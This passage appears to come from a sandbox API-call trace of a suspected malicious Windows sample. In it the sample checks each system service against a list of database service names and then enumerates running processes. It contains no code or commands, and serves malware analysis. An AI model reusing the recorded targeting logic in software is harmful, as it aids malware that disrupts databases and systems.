(lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0133.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0133.701] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0133.701] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0133.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0133.702] lstrlenW (lpString="Netman") returned 6 [0133.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0133.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0133.702] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0133.702] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0133.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0133.702] lstrlenW (lpString="netprofm") returned 8 [0133.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0133.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0133.702] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0133.702] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0133.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0133.702] lstrlenW (lpString="NlaSvc") returned 6 [0133.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0133.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0133.703] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0133.703] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0133.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0133.703] lstrlenW (lpString="nsi") returned 3 [0133.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0133.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0133.703] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0133.703] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0133.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0133.703] lstrlenW (lpString="PcaSvc") returned 6 [0133.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0133.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0133.703] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0133.703] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0133.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0133.703] lstrlenW (lpString="PlugPlay") returned 8 [0133.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0133.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0133.703] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0133.703] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0133.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0133.703] lstrlenW (lpString="Power") returned 5 [0133.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0133.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0133.703] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0133.703] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0133.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0133.703] lstrlenW (lpString="ProfSvc") returned 7 [0133.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0133.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0133.703] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0133.704] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0133.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0133.704] lstrlenW (lpString="RpcEptMapper") returned 12 [0133.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0133.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0133.704] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0133.704] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0133.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0133.704] lstrlenW (lpString="RpcSs") returned 5 [0133.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0133.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0133.704] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0133.704] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0133.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0133.704] lstrlenW (lpString="SamSs") returned 5 [0133.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0133.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0133.704] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0133.704] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0133.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0133.704] lstrlenW (lpString="Schedule") returned 8 [0133.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0133.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0133.704] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0133.704] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0133.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0133.704] lstrlenW (lpString="SENS") returned 4 [0133.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0133.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0133.704] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0133.704] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0133.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0133.704] lstrlenW (lpString="ShellHWDetection") returned 16 [0133.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0133.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0133.704] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0133.704] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0133.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0133.705] lstrlenW (lpString="Spooler") returned 7 [0133.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0133.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0133.705] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0133.705] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0133.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0133.705] lstrlenW (lpString="sppsvc") returned 6 [0133.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0133.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0133.705] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0133.705] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0133.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0133.705] lstrlenW (lpString="swprv") returned 5 [0133.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0133.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0133.705] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0133.705] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0133.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0133.705] lstrlenW (lpString="SysMain") returned 7 [0133.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0133.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0133.705] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0133.705] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0133.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0133.705] lstrlenW (lpString="Themes") returned 6 [0133.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0133.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0133.705] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0133.705] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0133.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0133.705] lstrlenW (lpString="TrkWks") returned 6 [0133.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0133.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0133.705] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0133.705] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0133.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0133.705] lstrlenW (lpString="UxSms") returned 5 [0133.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0133.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0133.705] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0133.705] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0133.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0133.705] lstrlenW (lpString="VSS") returned 3 [0133.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0133.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0133.706] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0133.706] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0133.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0133.706] lstrlenW (lpString="W32Time") returned 7 [0133.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="W32Time") returned -1 [0133.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="W32Time") returned -1 [0133.706] lstrcmpiW (lpString1="sqlwriter", lpString2="W32Time") returned -1 [0133.706] lstrcmpiW (lpString1="mssqlserver", lpString2="W32Time") returned -1 [0133.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="W32Time") returned -1 [0133.706] lstrlenW (lpString="WdiServiceHost") returned 14 [0133.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0133.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0133.706] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0133.706] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0133.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0133.706] lstrlenW (lpString="WdiSystemHost") returned 13 [0133.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0133.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0133.706] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0133.706] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0133.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0133.706] lstrlenW (lpString="WinDefend") returned 9 [0133.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0133.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0133.706] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0133.706] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0133.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0133.706] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0133.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0133.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0133.706] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0133.706] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0133.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0133.706] lstrlenW (lpString="Winmgmt") returned 7 [0133.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0133.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0133.706] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0133.706] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0133.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0133.706] lstrlenW (lpString="wscsvc") returned 6 [0133.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0133.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0133.707] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0133.707] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0133.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0133.707] lstrlenW (lpString="wuauserv") returned 8 [0133.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0133.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0133.707] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0133.707] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0133.707] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f0 [0133.709] Process32FirstW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0133.709] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0133.710] lstrlenW (lpString="System") returned 6 [0133.710] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0133.711] lstrlenW (lpString="smss.exe") returned 8 [0133.711] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0133.711] lstrlenW (lpString="csrss.exe") returned 9 [0133.711] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0133.712] lstrlenW (lpString="wininit.exe") returned 11 [0133.712] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0133.713] lstrlenW (lpString="csrss.exe") returned 9 [0133.713] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0133.713] lstrlenW (lpString="winlogon.exe") returned 12 [0133.714] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0133.714] lstrlenW (lpString="services.exe") returned 12 [0133.714] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0133.715] lstrlenW (lpString="lsass.exe") returned 9 [0133.715] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0133.716] lstrlenW (lpString="lsm.exe") returned 7 [0133.716] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.716] lstrlenW (lpString="svchost.exe") returned 11 [0133.716] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.717] lstrlenW (lpString="svchost.exe") returned 11 [0133.717] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.718] lstrlenW (lpString="svchost.exe") returned 11 [0133.718] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.718] lstrlenW (lpString="svchost.exe") returned 11 [0133.718] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.719] lstrlenW (lpString="svchost.exe") returned 11 [0133.719] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0133.720] lstrlenW (lpString="audiodg.exe") returned 11 [0133.720] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.720] lstrlenW (lpString="svchost.exe") returned 11 [0133.720] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.721] lstrlenW (lpString="svchost.exe") returned 11 [0133.721] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0133.722] lstrlenW (lpString="dwm.exe") returned 7 [0133.722] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0133.722] lstrlenW (lpString="explorer.exe") returned 12 [0133.722] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0133.723] lstrlenW (lpString="spoolsv.exe") returned 11 [0133.723] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0133.724] lstrlenW (lpString="taskhost.exe") returned 12 [0133.724] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.724] lstrlenW (lpString="svchost.exe") returned 11 [0133.724] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0133.725] lstrlenW (lpString="taskeng.exe") returned 11 [0133.725] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0133.726] lstrlenW (lpString="taskhost.exe") returned 12 [0133.726] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="fixwaves.exe")) returned 1 [0133.726] lstrlenW (lpString="fixwaves.exe") returned 12 [0133.726] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="class-file-contributors.exe")) returned 1 [0133.727] lstrlenW (lpString="class-file-contributors.exe") returned 27 [0133.727] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma-ending-office.exe")) returned 1 [0133.728] lstrlenW (lpString="soma-ending-office.exe") returned 22 [0133.728] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="monsaver.exe")) returned 1 [0133.728] lstrlenW (lpString="monsaver.exe") returned 12 [0133.729] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="dosesugar.exe")) returned 1 [0133.729] lstrlenW (lpString="dosesugar.exe") returned 13 [0133.729] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="plants-funded-stockings.exe")) returned 1 [0133.730] lstrlenW (lpString="plants-funded-stockings.exe") returned 27 [0133.730] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="forgotchangelog.exe")) returned 1 [0133.730] lstrlenW (lpString="forgotchangelog.exe") returned 19 [0133.730] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="nonprofit top.exe")) returned 1 [0133.731] lstrlenW 